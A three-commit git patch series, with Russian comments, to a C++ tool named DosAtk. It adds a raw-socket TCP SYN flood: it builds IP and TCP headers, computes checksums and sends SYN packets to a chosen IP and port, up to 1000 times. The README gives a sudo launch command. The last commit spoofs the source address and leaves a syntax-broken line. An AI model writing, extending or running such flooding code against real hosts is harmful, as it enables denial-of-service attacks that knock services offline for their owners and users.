From 10276f97750917d5c63e0a2988d303dfc102fe3d Mon Sep 17 00:00:00 2001 From: Urmipie Date: Wed, 2 Apr 2025 20:39:13 +0300 Subject: [PATCH 1/3] feat: add my_tcp_syn and checksum. modified main to codestyle my_tcp_syn make tcp syn requests without waiting for confirmation. --- .gitignore | 5 +- README.md | 5 +- src/DosAtk.cpp | 179 ++++++++++++++++++++++++++++++++++++++++++++++--- 3 files changed, 179 insertions(+), 10 deletions(-) diff --git a/.gitignore b/.gitignore index 600d2d3..7451162 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -.vscode \ No newline at end of file +.vscode +src/test.cpp +test +DosAtk diff --git a/README.md b/README.md index 7e15699..66ed2fd 100644 --- a/README.md +++ b/README.md @@ -11,4 +11,7 @@ git push origin my_dns # Пушим свою ветку в репозитори Для компиляции: g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev \ No newline at end of file +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev + +Пример запуска: +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 \ No newline at end of file diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 41825a6..5232c14 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -8,6 +8,16 @@ #include // Функции для работы с символами (isdigit, isalpha и др.) #include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) +#include // Работа со строками и памятью (memset, memcpy) +#include // POSIX API (close, read, write) +#include // Сокеты (socket, setsockopt, sendto) +#include // Структура IP-заголовка (struct iphdr) +#include // Структура TCP-заголовка (struct tcphdr) +#include // Преобразование IP-адресов (inet_addr, inet_pton) +#include // Определение констант сетевых интерфейсов (IFNAMSIZ) +#include // Управление сокетами и интерфейсами (ioctl) +#include // Флаги файловых дескрипторов (fcntl) + // Глобальные переменные std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя @@ -353,10 +363,163 @@ int my_dns() return 0; } -int my_tcp_syn() -{ - // Данная процедура выполняет TCP SYN Flood атаку - return 2; +unsigned short checksum(void *data, int len) { + // считай чексумму для пакета + auto *ptr = (uint16_t *)data; + unsigned long sum = 0; + while (len > 1) { + sum += *ptr++; + len -= 2; + } + if (len == 1) sum += *(uint8_t *)ptr; + sum = (sum >> 16) + (sum & 0xFFFF); + return (unsigned short)(~sum); +} + +void my_tcp_syn() { + // === Инициализация переменных === + + // Сетевые сокеты + int route_sock = -1; // Сокет для определения нашего IP (инициализирован -1 как индикатор ошибки) + int sock = -1; // Raw-сокет для отправки пакетов (инициализирован -1) + int one = 1; // Флаг для setsockopt (1 = включить опцию) + + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели (куда отправляем SYN) + struct sockaddr_in src_addr; // Наш локальный адрес + socklen_t len = sizeof(src_addr); // Размер структуры адреса + + // Параметры подключения + uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + + // Псевдозаголовок для контрольной суммы TCP + struct { + uint32_t saddr; // Адрес отправителя + uint32_t daddr; // Адрес получателя + uint8_t zero; // Зарезервировано (0) + uint8_t protocol; // Протокол (TCP) + uint16_t tcp_len; // Длина TCP-сегмента + } pseudo_header; + + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Временный буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет для отправки + char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление нашего IP + + // === Основная логика функции === + + // Преобразуем строковый порт в число и конвертируем в сетевой порядок байт + target_port = htons(atoi(port.c_str())); + + // 1. Создаем временный UDP-сокет для определения нашего IP + if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { + perror("Ошибка создания сокета для определения IP"); + status = -102; // Устанавливаем глобальный статус ошибки + return; // Выходим из функции + } + + // 2. Настраиваем адрес цели (куда будем отправлять SYN) + memset(&target_addr, 0, sizeof(target_addr)); // Обнуляем структуру + target_addr.sin_family = AF_INET; // Семейство адресов - IPv4 + + // Преобразуем строковый IP в бинарный формат + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + perror("Ошибка преобразования IP адреса"); + close(route_sock); // Закрываем сокет перед выходом + status = -102; + return; + } + + // 3. Устанавливаем соединение (для определения нашего IP) + if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { + perror("Ошибка connect для определения IP"); + close(route_sock); + status = -102; + return; + } + + // 4. Получаем наш локальный IP-адрес, который система выбрала для этого соединения + if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { + perror("Ошибка getsockname"); + close(route_sock); + status = -102; + return; + } + close(route_sock); // Закрываем временный сокет + + // 5. Создаем raw-сокет для отправки TCP-пакетов + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + perror("Ошибка создания raw-сокета"); + status = -102; + return; + } + + // 6. Включаем режим ручного формирования IP-заголовка + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 7. Формируем IP-заголовок + memset(&ip_header, 0, sizeof(ip_header)); // Обнуляем структуру + ip_header.ihl = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) + ip_header.version = 4; // Версия IPv4 + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); // Общая длина пакета + ip_header.ttl = 64; // Время жизни пакета (хопы) + ip_header.protocol = IPPROTO_TCP; // Протокол верхнего уровня (TCP) + ip_header.saddr = src_addr.sin_addr.s_addr; // Наш IP + ip_header.daddr = inet_addr(ip.c_str()); // IP цели + + // 8. Формируем TCP-заголовок + memset(&tcp_header, 0, sizeof(tcphdr)); // Обнуляем структуру + tcp_header.source = htons(12345); // Произвольный исходный порт + tcp_header.dest = target_port; // Порт цели + tcp_header.seq = htonl(123456); // Начальный номер последовательности + tcp_header.doff = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) + tcp_header.syn = 1; // Устанавливаем флаг SYN (запрос соединения) + tcp_header.window = htons(5840); // Размер окна + + // 9. Рассчитываем контрольную сумму TCP + pseudo_header = { + .saddr = ip_header.saddr, // Адрес отправителя + .daddr = ip_header.daddr, // Адрес получателя + .zero = 0, // Зарезервировано + .protocol = IPPROTO_TCP, // Протокол TCP + .tcp_len = htons(sizeof(tcphdr)) // Длина TCP-заголовка + }; + // Копируем псевдозаголовок и TCP-заголовок во временный буфер + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + // Вычисляем и устанавливаем контрольную сумму + tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // 10. Собираем итоговый пакет (IP-заголовок + TCP-заголовок) + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 11. Настраиваем адрес цели для отправки + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); + + // 12. Отправляем пакет + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + } + else + { + n_ok_requests++; + } + + status = 0; + if ((n_ok_requests + n_fail_requests) >= 1000) + { + status = 2; + } + + close(sock); } int my_udp() @@ -454,15 +617,15 @@ int main(int argc, char **argv) if (dns_status == 0) { - while (tcp_syn_status = my_tcp_syn()) + while (true) { - if (tcp_syn_status == 2) + my_tcp_syn(); + if (status == 2) { break; } - else if (tcp_syn_status < 0) + else if (status < 0) { - status = tcp_syn_status; my_diag(); log_status = my_log(); if (log_status == 1) -- 2.40.1 From 6488a42fb625a70c8ce99dfe13e87bb27c667768 Mon Sep 17 00:00:00 2001 From: Urmipie Date: Wed, 2 Apr 2025 23:14:25 +0300 Subject: [PATCH 2/3] fix: code style moved initialisation to top of function, expanded comments --- src/DosAtk.cpp | 160 ++++++++++++++++++++++++++++--------------------- 1 file changed, 92 insertions(+), 68 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 5232c14..b280166 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -364,30 +364,52 @@ int my_dns() } unsigned short checksum(void *data, int len) { - // считай чексумму для пакета - auto *ptr = (uint16_t *)data; + // рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму + uint16_t *ptr = (uint16_t *)data; unsigned long sum = 0; while (len > 1) { sum += *ptr++; len -= 2; } - if (len == 1) sum += *(uint8_t *)ptr; + if (len == 1) { + uint8_t *byte_ptr = (uint8_t *)ptr; + sum += *byte_ptr; + } sum = (sum >> 16) + (sum & 0xFFFF); return (unsigned short)(~sum); } -void my_tcp_syn() { - // === Инициализация переменных === - // Сетевые сокеты - int route_sock = -1; // Сокет для определения нашего IP (инициализирован -1 как индикатор ошибки) - int sock = -1; // Raw-сокет для отправки пакетов (инициализирован -1) - int one = 1; // Флаг для setsockopt (1 = включить опцию) +void my_tcp_syn() { + + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * + * Глобальные переменные: + * ip - IP адрес цели (строка) + * port - порт цели (строка) + * status - устанавливает статус выполнения: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания сокета для определения IP + * -202 - ошибка преобразования IP адреса + * -203 - ошибка соединения для определения IP + * -204 - ошибка получения локального IP (getsockname) + * -205 - ошибка создания raw-сокета + * -206 - ошибка отправки SYN-пакета + * n_ok_requests - счетчик успешных запросов + * n_fail_requests - счетчик неудачных запросов + */ + + // === Объявление локальных переменных === + int route_sock; // Временный сокет для определения нашего IP + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt // Структуры для адресов - struct sockaddr_in target_addr; // Адрес цели (куда отправляем SYN) + struct sockaddr_in target_addr; // Адрес цели struct sockaddr_in src_addr; // Наш локальный адрес - socklen_t len = sizeof(src_addr); // Размер структуры адреса + socklen_t len; // Размер структуры адреса // Параметры подключения uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) @@ -396,7 +418,7 @@ void my_tcp_syn() { struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета - // Псевдозаголовок для контрольной суммы TCP + // Псевдозаголовок для контрольной суммы struct { uint32_t saddr; // Адрес отправителя uint32_t daddr; // Адрес получателя @@ -406,104 +428,105 @@ void my_tcp_syn() { } pseudo_header; // Буферы данных - char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Временный буфер для контрольной суммы - char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет для отправки - char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление нашего IP + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление IP - // === Основная логика функции === + // === Инициализация переменных === + route_sock = -1; + sock = -1; + one = 1; + len = sizeof(src_addr); + target_port = 0; - // Преобразуем строковый порт в число и конвертируем в сетевой порядок байт + // === Основная логика процедуры === target_port = htons(atoi(port.c_str())); - // 1. Создаем временный UDP-сокет для определения нашего IP + // 1. Создание временного сокета if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("Ошибка создания сокета для определения IP"); - status = -102; // Устанавливаем глобальный статус ошибки - return; // Выходим из функции - } - - // 2. Настраиваем адрес цели (куда будем отправлять SYN) - memset(&target_addr, 0, sizeof(target_addr)); // Обнуляем структуру - target_addr.sin_family = AF_INET; // Семейство адресов - IPv4 - - // Преобразуем строковый IP в бинарный формат - if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { - perror("Ошибка преобразования IP адреса"); - close(route_sock); // Закрываем сокет перед выходом - status = -102; + status = -201; return; } - // 3. Устанавливаем соединение (для определения нашего IP) + // 2. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + perror("Ошибка преобразования IP адреса"); + close(route_sock); + status = -202; + return; + } + + // 3. Установка соединения if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { perror("Ошибка connect для определения IP"); close(route_sock); - status = -102; + status = -203; return; } - // 4. Получаем наш локальный IP-адрес, который система выбрала для этого соединения + // 4. Получение локального IP if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { perror("Ошибка getsockname"); close(route_sock); - status = -102; + status = -204; return; } - close(route_sock); // Закрываем временный сокет + close(route_sock); - // 5. Создаем raw-сокет для отправки TCP-пакетов + // 5. Создание raw-сокета if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror("Ошибка создания raw-сокета"); - status = -102; + status = -205; return; } - // 6. Включаем режим ручного формирования IP-заголовка + // 6. Установка опции IP_HDRINCL setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); - // 7. Формируем IP-заголовок - memset(&ip_header, 0, sizeof(ip_header)); // Обнуляем структуру - ip_header.ihl = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) - ip_header.version = 4; // Версия IPv4 - ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); // Общая длина пакета - ip_header.ttl = 64; // Время жизни пакета (хопы) - ip_header.protocol = IPPROTO_TCP; // Протокол верхнего уровня (TCP) - ip_header.saddr = src_addr.sin_addr.s_addr; // Наш IP - ip_header.daddr = inet_addr(ip.c_str()); // IP цели + // 7. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = src_addr.sin_addr.s_addr; + ip_header.daddr = inet_addr(ip.c_str()); - // 8. Формируем TCP-заголовок - memset(&tcp_header, 0, sizeof(tcphdr)); // Обнуляем структуру - tcp_header.source = htons(12345); // Произвольный исходный порт - tcp_header.dest = target_port; // Порт цели - tcp_header.seq = htonl(123456); // Начальный номер последовательности - tcp_header.doff = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) - tcp_header.syn = 1; // Устанавливаем флаг SYN (запрос соединения) - tcp_header.window = htons(5840); // Размер окна + // 8. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); - // 9. Рассчитываем контрольную сумму TCP + // 9. Расчет контрольной суммы pseudo_header = { - .saddr = ip_header.saddr, // Адрес отправителя - .daddr = ip_header.daddr, // Адрес получателя - .zero = 0, // Зарезервировано - .protocol = IPPROTO_TCP, // Протокол TCP - .tcp_len = htons(sizeof(tcphdr)) // Длина TCP-заголовка + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) }; - // Копируем псевдозаголовок и TCP-заголовок во временный буфер memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - // Вычисляем и устанавливаем контрольную сумму tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); - // 10. Собираем итоговый пакет (IP-заголовок + TCP-заголовок) + // 10. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); - // 11. Настраиваем адрес цели для отправки + // 11. Настройка адреса цели memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); - // 12. Отправляем пакет + // 12. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; @@ -513,6 +536,7 @@ void my_tcp_syn() { n_ok_requests++; } + // 13. Проверка завершения status = 0; if ((n_ok_requests + n_fail_requests) >= 1000) { @@ -546,7 +570,7 @@ int main(int argc, char **argv) // Получаем текущее время в различных форматах time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - auto ms = std::chrono::duration_cast( + std::chrono::milliseconds ms = std::chrono::duration_cast( start_timestamp.time_since_epoch()) % 1000; // Выводим информацию о времени запуска программы -- 2.40.1 From 733b5b64864c0931fc2983a0cb1301e61a5ae5ca Mon Sep 17 00:00:00 2001 From: Urmipie Date: Wed, 2 Apr 2025 23:59:44 +0300 Subject: [PATCH 3/3] fix: source IP, code style, readme -instead of real IP packet send fake one (localhost currently) -more stylish code style -objectivly cooler readme --- README.md | 20 +++++-- src/DosAtk.cpp | 147 ++++++++++++++++++------------------------------- 2 files changed, 69 insertions(+), 98 deletions(-) diff --git a/README.md b/README.md index 66ed2fd..42b171d 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ # Как жить? +Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. + ``` -git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий +git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git checkout -b my_dns # Создаём ветку для реализации модуля my_dns git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку @@ -9,9 +11,17 @@ git push origin my_dns # Пушим свою ветку в репозитори # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг ``` -Для компиляции: -g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev +# Компиляция + +Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` + +# Запуск Пример запуска: -sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 \ No newline at end of file + +``` +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 +``` +Запускается только на Линухе! + diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index b280166..e1a2037 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -363,53 +363,56 @@ int my_dns() return 0; } + unsigned short checksum(void *data, int len) { - // рассчёт чексуммы для пакета. получает пакет и возращает проверочную сумму - uint16_t *ptr = (uint16_t *)data; - unsigned long sum = 0; +/** + * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) + * + * Параметры: + * data - указатель на данные пакета + * len - длина данных в байтах + * + * Возвращает: + * 16-битную инвертированную контрольную сумму + */ + // === Объявление локальных переменных === + uint16_t *ptr; // Указатель для чтения 16-битных слов + unsigned long sum; // Аккумулятор для суммы + uint8_t *byte_ptr; // Указатель для чтения одиночного байта + // === Инициализация переменных === + ptr = (uint16_t *)data; // Инициализируем указатель на данные + sum = 0; // Начальное значение суммы + // === Основная логика процедуры === + // Суммируем 16-битные слова while (len > 1) { - sum += *ptr++; - len -= 2; + sum += *ptr++; // Добавляем текущее слово и перемещаем указатель + len -= 2; // Уменьшаем счетчик оставшихся байт } - if (len == 1) { - uint8_t *byte_ptr = (uint8_t *)ptr; + if (len == 1) { // Если остался непарный байт, добавляем его в сумму + byte_ptr = (uint8_t *)ptr; sum += *byte_ptr; } - sum = (sum >> 16) + (sum & 0xFFFF); - return (unsigned short)(~sum); + sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) + return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму } void my_tcp_syn() { - /* * Отправляет TCP SYN запрос на указанный IP и порт - * - * Глобальные переменные: - * ip - IP адрес цели (строка) - * port - порт цели (строка) - * status - устанавливает статус выполнения: + * status: * 0 - запрос успешно отправлен (атака продолжается) * 2 - достигнуто максимальное количество запросов (1000) - * -201 - ошибка создания сокета для определения IP - * -202 - ошибка преобразования IP адреса - * -203 - ошибка соединения для определения IP - * -204 - ошибка получения локального IP (getsockname) - * -205 - ошибка создания raw-сокета - * -206 - ошибка отправки SYN-пакета - * n_ok_requests - счетчик успешных запросов - * n_fail_requests - счетчик неудачных запросов + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета */ // === Объявление локальных переменных === - int route_sock; // Временный сокет для определения нашего IP int sock; // Основной raw-сокет для отправки пакетов int one; // Флаг для setsockopt // Структуры для адресов struct sockaddr_in target_addr; // Адрес цели - struct sockaddr_in src_addr; // Наш локальный адрес - socklen_t len; // Размер структуры адреса // Параметры подключения uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) @@ -420,83 +423,48 @@ void my_tcp_syn() { // Псевдозаголовок для контрольной суммы struct { - uint32_t saddr; // Адрес отправителя - uint32_t daddr; // Адрес получателя - uint8_t zero; // Зарезервировано (0) - uint8_t protocol; // Протокол (TCP) - uint16_t tcp_len; // Длина TCP-сегмента + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; } pseudo_header; // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет - char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление IP // === Инициализация переменных === - route_sock = -1; sock = -1; one = 1; - len = sizeof(src_addr); - target_port = 0; - - // === Основная логика процедуры === target_port = htons(atoi(port.c_str())); - // 1. Создание временного сокета - if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { - perror("Ошибка создания сокета для определения IP"); + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { status = -201; return; } - // 2. Настройка адреса цели - memset(&target_addr, 0, sizeof(target_addr)); - target_addr.sin_family = AF_INET; - if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { - perror("Ошибка преобразования IP адреса"); - close(route_sock); - status = -202; - return; - } - - // 3. Установка соединения - if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { - perror("Ошибка connect для определения IP"); - close(route_sock); - status = -203; - return; - } - - // 4. Получение локального IP - if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { - perror("Ошибка getsockname"); - close(route_sock); - status = -204; - return; - } - close(route_sock); - - // 5. Создание raw-сокета - if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { - perror("Ошибка создания raw-сокета"); - status = -205; - return; - } - - // 6. Установка опции IP_HDRINCL + // 2. Установка опции IP_HDRINCL setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); - // 7. Формирование IP заголовка + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + + // 4. Формирование IP заголовка memset(&ip_header, 0, sizeof(ip_header)); ip_header.ihl = 5; ip_header.version = 4; ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); ip_header.ttl = 64; ip_header.protocol = IPPROTO_TCP; - ip_header.saddr = src_addr.sin_addr.s_addr; + ip_header.saddr = inet_addr("127.0.0.1"); ip_header.daddr = inet_addr(ip.c_str()); - // 8. Формирование TCP заголовка + // 5. Формирование TCP заголовка memset(&tcp_header, 0, sizeof(tcphdr)); tcp_header.source = htons(12345); tcp_header.dest = target_port; @@ -505,7 +473,7 @@ void my_tcp_syn() { tcp_header.syn = 1; tcp_header.window = htons(5840); - // 9. Расчет контрольной суммы + // 6. Расчет контрольной суммы pseudo_header = { .saddr = ip_header.saddr, .daddr = ip_header.daddr, @@ -517,29 +485,22 @@ void my_tcp_syn() { memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); - // 10. Сборка пакета + // 7. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); - // 11. Настройка адреса цели - memset(&target_addr, 0, sizeof(target_addr)); - target_addr.sin_family = AF_INET; - target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); - - // 12. Отправка пакета + // 8. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; - } - else - { + status = -202; + } else { n_ok_requests++; + status = 0; } - // 13. Проверка завершения - status = 0; - if ((n_ok_requests + n_fail_requests) >= 1000) - { + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { status = 2; } -- 2.40.1